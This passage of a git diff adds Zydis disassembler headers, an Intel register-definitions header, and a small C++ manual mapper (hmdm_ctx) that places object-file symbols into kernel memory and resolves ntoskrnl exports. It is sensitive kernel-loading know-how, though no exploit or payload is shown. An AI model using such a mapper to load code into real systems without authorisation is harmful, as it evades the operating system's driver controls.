ZYDIS_OPCODE_MAP_XOPA, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPCODE_MAP_MAX_VALUE = ZYDIS_OPCODE_MAP_XOPA, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPCODE_MAP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPCODE_MAP_MAX_VALUE) +} ZydisOpcodeMap; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_SHAREDTYPES_H */ diff --git a/Theodosius/Zydis/ShortString.h b/Theodosius/Zydis/ShortString.h new file mode 100644 index 0000000..bed45af --- /dev/null +++ b/Theodosius/Zydis/ShortString.h @@ -0,0 +1,90 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines the immutable and storage-efficient `ZydisShortString` struct, which + * is used to store strings in the generated tables. + */ + +#ifndef ZYDIS_SHORTSTRING_H +#define ZYDIS_SHORTSTRING_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#pragma pack(push, 1) + +/** + * Defines the `ZydisShortString` struct. + * + * This compact struct is mainly used for internal string-tables to save up some bytes. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisShortString_ +{ + /** + * The buffer that contains the actual (null-terminated) string. + */ + const char* data; + /** + * The length (number of characters) of the string (without 0-termination). + */ + ZyanU8 size; +} ZydisShortString; + +#pragma pack(pop) + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/** + * Declares a `ZydisShortString` from a static C-style string. + * + * @param string The C-string constant. + */ +#define ZYDIS_MAKE_SHORTSTRING(string) \ + { string, sizeof(string) - 1 } + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_SHORTSTRING_H */ diff --git a/Theodosius/Zydis/Status.h b/Theodosius/Zydis/Status.h new file mode 100644 index 0000000..d2a75f3 --- /dev/null +++ b/Theodosius/Zydis/Status.h @@ -0,0 +1,159 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Status code definitions and check macros. + */ + +#ifndef ZYDIS_STATUS_H +#define ZYDIS_STATUS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Status codes */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Module IDs */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The zydis module id. + */ +#define ZYAN_MODULE_ZYDIS 0x002u + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes */ +/* ---------------------------------------------------------------------------------------------- */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * An attempt was made to read data from an input data-source that has no more + * data available. + */ +#define ZYDIS_STATUS_NO_MORE_DATA \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x00u) + +/** + * An general error occured while decoding the current instruction. The + * instruction might be undefined. + */ +#define ZYDIS_STATUS_DECODING_ERROR \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x01u) + +/** + * The instruction exceeded the maximum length of 15 bytes. + */ +#define ZYDIS_STATUS_INSTRUCTION_TOO_LONG \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x02u) + +/** + * The instruction encoded an invalid register. + */ +#define ZYDIS_STATUS_BAD_REGISTER \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x03u) + +/** + * A lock-prefix (F0) was found while decoding an instruction that does not + * support locking. + */ +#define ZYDIS_STATUS_ILLEGAL_LOCK \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x04u) + +/** + * A legacy-prefix (F2, F3, 66) was found while decoding a XOP/VEX/EVEX/MVEX + * instruction. + */ +#define ZYDIS_STATUS_ILLEGAL_LEGACY_PFX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x05u) + +/** + * A rex-prefix was found while decoding a XOP/VEX/EVEX/MVEX instruction. + */ +#define ZYDIS_STATUS_ILLEGAL_REX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x06u) + +/** + * An invalid opcode-map value was found while decoding a XOP/VEX/EVEX/MVEX-prefix. + */ +#define ZYDIS_STATUS_INVALID_MAP \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x07u) + +/** + * An error occured while decoding the EVEX-prefix. + */ +#define ZYDIS_STATUS_MALFORMED_EVEX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x08u) + +/** + * An error occured while decoding the MVEX-prefix. + */ +#define ZYDIS_STATUS_MALFORMED_MVEX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x09u) + +/** + * An invalid write-mask was specified for an EVEX/MVEX instruction. + */ +#define ZYDIS_STATUS_INVALID_MASK \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x0Au) + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returning this status code in some specified formatter callbacks will cause + * the formatter to omit the corresponding token. + * + * Valid callbacks: + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + */ +#define ZYDIS_STATUS_SKIP_TOKEN \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYDIS, 0x0Bu) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_STATUS_H */ diff --git a/Theodosius/Zydis/Utils.h b/Theodosius/Zydis/Utils.h new file mode 100644 index 0000000..aef9e96 --- /dev/null +++ b/Theodosius/Zydis/Utils.h @@ -0,0 +1,275 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Other utility functions. + */ + +#ifndef ZYDIS_UTILS_H +#define ZYDIS_UTILS_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT 9 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZydisInstructionSegment` struct. + */ +typedef enum ZydisInstructionSegment_ +{ + ZYDIS_INSTR_SEGMENT_NONE, + /** + * The legacy prefixes (including ignored `REX` prefixes). + */ + ZYDIS_INSTR_SEGMENT_PREFIXES, + /** + * The effective `REX` prefix byte. + */ + ZYDIS_INSTR_SEGMENT_REX, + /** + * The `XOP` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_XOP, + /** + * The `VEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_VEX, + /** + * The `EVEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_EVEX, + /** + * The `MVEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_MVEX, + /** + * The opcode bytes. + */ + ZYDIS_INSTR_SEGMENT_OPCODE, + /** + * The `ModRM` byte. + */ + ZYDIS_INSTR_SEGMENT_MODRM, + /** + * The `SIB` byte. + */ + ZYDIS_INSTR_SEGMENT_SIB, + /** + * The displacement bytes. + */ + ZYDIS_INSTR_SEGMENT_DISPLACEMENT, + /** + * The immediate bytes. + */ + ZYDIS_INSTR_SEGMENT_IMMEDIATE, + + /** + * Maximum value of this enum. + */ + ZYDIS_INSTR_SEGMENT_MAX_VALUE = ZYDIS_INSTR_SEGMENT_IMMEDIATE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_INSTR_SEGMENT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTR_SEGMENT_MAX_VALUE) +} ZydisInstructionSegment; + +/** + * Defines the `ZydisInstructionSegments` struct. + */ +typedef struct ZydisInstructionSegments_ +{ + /** + * The number of logical instruction segments. + */ + ZyanU8 count; + struct + { + /** + * The type of the segment. + */ + ZydisInstructionSegment type; + /** + * The offset of the segment relative to the start of the instruction (in bytes). + */ + ZyanU8 offset; + /** + * The size of the segment, in bytes. + */ + ZyanU8 size; + } segments[ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT]; +} ZydisInstructionSegments; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup utils Utils + * Miscellaneous utility functions. Address translation and other helpers. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Address calculation */ +/* ---------------------------------------------------------------------------------------------- */ + +// TODO: Provide a function that works in minimal-mode and does not require a operand parameter + +/** + * Calculates the absolute address value for the given instruction operand. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param operand A pointer to the `ZydisDecodedOperand` struct. + * @param runtime_address The runtime address of the instruction. + * @param result_address A pointer to the memory that receives the absolute address. + * + * @return A zyan status code. + * + * You should use this function in the following cases: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + * - `MEM` operands with `RIP`/`EIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) + * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) + * - The displacement needs to get truncated and zero extended + */ +ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddress(const ZydisDecodedInstruction* instruction, + const ZydisDecodedOperand* operand, ZyanU64 runtime_address, ZyanU64* result_address); + +/** + * Calculates the absolute address value for the given instruction operand. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param operand A pointer to the `ZydisDecodedOperand` struct. + * @param runtime_address The runtime address of the instruction. + * @param register_context A pointer to the `ZydisRegisterContext` struct. + * @param result_address A pointer to the memory that receives the absolute target-address. + * + * @return A zyan status code. + * + * This function behaves like `ZydisCalcAbsoluteAddress` but takes an additional register-context + * argument to allow calculation of addresses depending on runtime register values. + * + * Note that `IP/EIP/RIP` from the register-context will be ignored in favor of the passed + * runtime-address. + */ +ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddressEx(const ZydisDecodedInstruction* instruction, + const ZydisDecodedOperand* operand, ZyanU64 runtime_address, + const ZydisRegisterContext* register_context, ZyanU64* result_address); + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a mask of accessed CPU-flags matching the given `action`. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param action The CPU-flag action. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisGetAccessedFlagsByAction(const ZydisDecodedInstruction* instruction, + ZydisCPUFlagAction action, ZydisCPUFlags* flags); + +/** + * Returns a mask of accessed CPU-flags that are read (tested) by the current instruction. + * + * DEPRECATED. This function will be removed in the next major release. Please refer to the + * `cpu_flags_read` or `fpu_flags_read` fields of the `ZydisDecodedInstruction` instead. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsRead( + const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); + +/** + * Returns a mask of accessed CPU-flags that are written (modified, undefined) by the current + * instruction. + * + * DEPRECATED. This function will be removed in the next major release. Please refer to the + * `cpu_flags_written` or `fpu_flags_written` fields of the `ZydisDecodedInstruction` instead. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsWritten( + const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction segments */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns offsets and sizes of all logical instruction segments (e.g. `OPCODE`, + * `MODRM`, ...). + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param segments Receives the instruction segments information. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisGetInstructionSegments(const ZydisDecodedInstruction* instruction, + ZydisInstructionSegments* segments); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_UTILS_H */ diff --git a/Theodosius/Zydis/Zydis.h b/Theodosius/Zydis/Zydis.h new file mode 100644 index 0000000..a0d2d87 --- /dev/null +++ b/Theodosius/Zydis/Zydis.h @@ -0,0 +1,169 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Master include file, including everything else. + */ + +#ifndef ZYDIS_H +#define ZYDIS_H + +#include +#include + +#ifndef ZYDIS_DISABLE_DECODER +# include +# include +#endif + +#ifndef ZYDIS_DISABLE_FORMATTER +# include +#endif + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * A macro that defines the zydis version. + */ +#define ZYDIS_VERSION (ZyanU64)0x0003000100000000 + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Extracts the major-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_MAJOR(version) (ZyanU16)(((version) & 0xFFFF000000000000) >> 48) + +/** + * Extracts the minor-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_MINOR(version) (ZyanU16)(((version) & 0x0000FFFF00000000) >> 32) + +/** + * Extracts the patch-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_PATCH(version) (ZyanU16)(((version) & 0x00000000FFFF0000) >> 16) + +/** + * Extracts the build-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_BUILD(version) (ZyanU16)((version) & 0x000000000000FFFF) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZydisFeature` enum. + */ +typedef enum ZydisFeature_ +{ + ZYDIS_FEATURE_DECODER, + ZYDIS_FEATURE_FORMATTER, + ZYDIS_FEATURE_AVX512, + ZYDIS_FEATURE_KNC, + + /** + * Maximum value of this enum. + */ + ZYDIS_FEATURE_MAX_VALUE = ZYDIS_FEATURE_KNC, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FEATURE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FEATURE_MAX_VALUE) +} ZydisFeature; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup version Version + * Functions for checking the library version and build options. + * @{ + */ + +/** + * Returns the zydis version. + * + * @return The zydis version. + * + * Use the macros provided in this file to extract the major, minor, patch and build part from the + * returned version value. + */ +ZYDIS_EXPORT ZyanU64 ZydisGetVersion(void); + +/** + * Checks, if the specified feature is enabled in the current zydis library instance. + * + * @param feature The feature. + * + * @return `ZYAN_STATUS_TRUE` if the feature is enabled, `ZYAN_STATUS_FALSE` if not. Another + * zyan status code, if an error occured. + */ +ZYDIS_EXPORT ZyanStatus ZydisIsFeatureEnabled(ZydisFeature feature); + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_H */ diff --git a/Theodosius/ZydisExportConfig.h b/Theodosius/ZydisExportConfig.h new file mode 100644 index 0000000..2e0b4a2 --- /dev/null +++ b/Theodosius/ZydisExportConfig.h @@ -0,0 +1,42 @@ + +#ifndef ZYDIS_EXPORT_H +#define ZYDIS_EXPORT_H + +#ifdef ZYDIS_STATIC_DEFINE +# define ZYDIS_EXPORT +# define ZYDIS_NO_EXPORT +#else +# ifndef ZYDIS_EXPORT +# ifdef Zydis_EXPORTS + /* We are building this library */ +# define ZYDIS_EXPORT __declspec(dllexport) +# else + /* We are using this library */ +# define ZYDIS_EXPORT __declspec(dllimport) +# endif +# endif + +# ifndef ZYDIS_NO_EXPORT +# define ZYDIS_NO_EXPORT +# endif +#endif + +#ifndef ZYDIS_DEPRECATED +# define ZYDIS_DEPRECATED __declspec(deprecated) +#endif + +#ifndef ZYDIS_DEPRECATED_EXPORT +# define ZYDIS_DEPRECATED_EXPORT ZYDIS_EXPORT ZYDIS_DEPRECATED +#endif + +#ifndef ZYDIS_DEPRECATED_NO_EXPORT +# define ZYDIS_DEPRECATED_NO_EXPORT ZYDIS_NO_EXPORT ZYDIS_DEPRECATED +#endif + +#if 0 /* DEFINE_NO_DEPRECATED */ +# ifndef ZYDIS_NO_DEPRECATED +# define ZYDIS_NO_DEPRECATED +# endif +#endif + +#endif /* ZYDIS_EXPORT_H */ diff --git a/Theodosius/hmdm_ctx.cpp b/Theodosius/hmdm_ctx.cpp new file mode 100644 index 0000000..557073b --- /dev/null +++ b/Theodosius/hmdm_ctx.cpp @@ -0,0 +1,106 @@ +#include "hmdm_ctx.h" + +namespace drv +{ + hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines) + : + kalloc(std::get<0>(routines)), + kmemcpy(std::get<1>(routines)) + {} + + auto hmdm_ctx::map_objs(std::vector& objs) -> image_entry_t + { + std::map mapped_symbols; + // for each obj, allocate space for each symbol and create a map of where + // these symbols will be in memory... + for (auto obj : objs) + { + for (auto symbol : lnk::sym::get_all(obj)) + { + mapped_symbols[symbol.symbol_name] = + reinterpret_cast(kalloc(symbol.size)); + + std::printf("> %s allocated at = 0x%p, size = %d\n", + symbol.symbol_name.c_str(), mapped_symbols[symbol.symbol_name], symbol.size); + } + } + + try + { + if (!mapped_symbols["drv_entry"]) + { + std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n"); + return {}; + } + } + catch (std::exception& e) + { + std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n"); + return {}; + } + + // resolve relocations and "imports"... + // if a relocation to a symbol is not found inside of the hashmap of symbols + // created in the last for loop (above ^) then its going to try and + // resolve the symbol as an ntoskrnl import... + for (auto obj : objs) + { + for (auto reloc : lnk::sym::get_relocs(obj)) + { + if (reloc.type != IMAGE_REL_AMD64_ADDR64) + { + std::printf("> error... unsupported relocation at file offset = 0x%x\n\t> symbol = %s\n", + reloc.file_offset, reloc.resolve_symbol_name.c_str()); + + return {}; + } + + const auto reloc_addr = + reinterpret_cast( + obj.data() + reloc.file_offset); + + if (mapped_symbols[reloc.resolve_symbol_name]) + { + // patch kernel address into relocation... + *reloc_addr = mapped_symbols[reloc.resolve_symbol_name]; + } + else + { + // TODO: parse PDB for kernel driver symbols... + const auto ntoskrnl_symbol = + utils::kmodule::get_export( + "ntoskrnl.exe", reloc.resolve_symbol_name.c_str()); + + std::printf("> resolved external symbol %s = 0x%p\n", + reloc.resolve_symbol_name.c_str(), ntoskrnl_symbol); + + if (!ntoskrnl_symbol) + { + std::printf("> brutal! unresolved external symbol = %s\n", + reloc.resolve_symbol_name.c_str()); + return {}; + } + + // resolve ntoskrnl exports for now... + *reloc_addr = ntoskrnl_symbol; + } + } + } + + // copy each symbol into memory now... + for (auto obj : objs) + { + for (auto symbol : lnk::sym::get_all(obj)) + { + const auto symbol_mapped = + reinterpret_cast( + mapped_symbols[symbol.symbol_name]); + + kmemcpy(symbol_mapped, + obj.data() + symbol.file_offset, symbol.size); + } + } + + return mapped_symbols["drv_entry"]; + } +} \ No newline at end of file diff --git a/Theodosius/hmdm_ctx.h b/Theodosius/hmdm_ctx.h new file mode 100644 index 0000000..8a21f99 --- /dev/null +++ b/Theodosius/hmdm_ctx.h @@ -0,0 +1,33 @@ +#pragma once +#include "utils.hpp" +#include "linker/linker.hpp" + +#include +#include +#include + +#include +#include +#include + +#pragma comment(lib, "Dbghelp.lib") +namespace drv +{ + using kalloc_t = std::function; + using kmemcpy_t = std::function; + using kmemset_t = std::function; + + using image_entry_t = std::uintptr_t; + using mapper_routines_t = std::pair; + + class hmdm_ctx + { + public: + explicit hmdm_ctx(const mapper_routines_t& routines); + auto map_objs(std::vector& objs) -> image_entry_t; + + const kalloc_t kalloc; + const kmemcpy_t kmemcpy; + private: + }; +} \ No newline at end of file diff --git a/Theodosius/ia32.hpp b/Theodosius/ia32.hpp new file mode 100644 index 0000000..dd65439 --- /dev/null +++ b/Theodosius/ia32.hpp @@ -0,0 +1,21527 @@ +/** @file */ +#pragma once +using uint8_t = unsigned char; +using uint16_t = unsigned short; +using uint32_t = unsigned int; +using uint64_t = unsigned long long; + +/** + * @defgroup intel_manual \ + * Intel Manual + * + * @remarks All references are based on Intel(R) 64 and IA-32 architectures software developer's manual combined volumes: + * 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4 (May 2018). + * @{ + */ + /** + * @defgroup control_registers \ + * Control registers + * + * Control registers (CR0, CR1, CR2, CR3, and CR4) determine operating mode of the processor and the characteristics of the + * currently executing task. These registers are 32 bits in all 32-bit modes and compatibility mode. + * In 64-bit mode, control registers are expanded to 64 bits. The MOV CRn instructions are used to manipulate the register + * bits. Operand-size prefixes for these instructions are ignored. The following is also true: + * - The control registers can be read and loaded (or modified) using the move-to-or-from-control-registers forms of the + * MOV instruction. In protected mode, the MOV instructions allow the control registers to be read or loaded (at privilege + * level 0 only). This restriction means that application programs or operating-system procedures (running at privilege + * levels 1, 2, or 3) are prevented from reading or loading the control registers. + * - Bits 63:32 of CR0 and CR4 are reserved and must be written with zeros. Writing a nonzero value to any of the upper 32 + * bits results in a general-protection exception, \#GP(0). + * - All 64 bits of CR2 are writable by software. + * - Bits 51:40 of CR3 are reserved and must be 0. + * - The MOV CRn instructions do not check that addresses written to CR2 and CR3 are within the linear-address or + * physical-address limitations of the implementation. + * - Register CR8 is available in 64-bit mode only. The control registers are summarized below, and each architecturally + * defined control field in these control registers is described individually. + * - CR0 - Contains system control flags that control operating mode and states of the processor. + * - CR1 - Reserved. + * - CR2 - Contains the page-fault linear address (the linear address that caused a page fault). + * - CR3 - Contains the physical address of the base of the paging-structure hierarchy and two flags (PCD and PWT). Only + * the most-significant bits (less the lower 12 bits) of the base address are specified; the lower 12 bits of the address + * are assumed to be 0. The first paging structure must thus be aligned to a page (4-KByte) boundary. The PCD and PWT flags + * control caching of that paging structure in the processor's internal data caches (they do not control TLB caching of + * page-directory information). When using the physical address extension, the CR3 register contains the base address of + * the page-directorypointer table. In IA-32e mode, the CR3 register contains the base address of the PML4 table. + * - CR4 - Contains a group of flags that enable several architectural extensions, and indicate operating system or + * executive support for specific processor capabilities. + * - CR8 - Provides read and write access to the Task Priority Register (TPR). It specifies the priority threshold value + * that operating systems use to control the priority class of external interrupts allowed to interrupt the processor. This + * register is available only in 64-bit mode. However, interrupt filtering continues to apply in compatibility mode. + * + * @see Vol3A[2.5(CONTROL REGISTERS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * @brief Protection Enable + * + * [Bit 0] Enables protected mode when set; enables real-address mode when clear. This flag does not enable paging + * directly. It only enables segment-level protection. To enable paging, both the PE and PG flags must be set. + * + * @see Vol3A[9.9(Mode Switching)] + */ + uint64_t protection_enable : 1; +#define CR0_PROTECTION_ENABLE_BIT 0 +#define CR0_PROTECTION_ENABLE_FLAG 0x01 +#define CR0_PROTECTION_ENABLE_MASK 0x01 +#define CR0_PROTECTION_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * @brief Monitor Coprocessor + * + * [Bit 1] Controls the interaction of the WAIT (or FWAIT) instruction with the TS flag (bit 3 of CR0). If the MP flag is + * set, a WAIT instruction generates a device-not-available exception (\#NM) if the TS flag is also set. If the MP flag is + * clear, the WAIT instruction ignores the setting of the TS flag. + */ + uint64_t monitor_coprocessor : 1; +#define CR0_MONITOR_COPROCESSOR_BIT 1 +#define CR0_MONITOR_COPROCESSOR_FLAG 0x02 +#define CR0_MONITOR_COPROCESSOR_MASK 0x01 +#define CR0_MONITOR_COPROCESSOR(_) (((_) >> 1) & 0x01) + + /** + * @brief FPU Emulation + * + * [Bit 2] Indicates that the processor does not have an internal or external x87 FPU when set; indicates an x87 FPU is + * present when clear. This flag also affects the execution of MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * When the EM flag is set, execution of an x87 FPU instruction generates a device-not-available exception (\#NM). This + * flag must be set when the processor does not have an internal x87 FPU or is not connected to an external math + * coprocessor. Setting this flag forces all floating-point instructions to be handled by software emulation. + * Also, when the EM flag is set, execution of an MMX instruction causes an invalid-opcode exception (\#UD) to be + * generated. Thus, if an IA-32 or Intel 64 processor incorporates MMX technology, the EM flag must be set to 0 to enable + * execution of MMX instructions. Similarly for 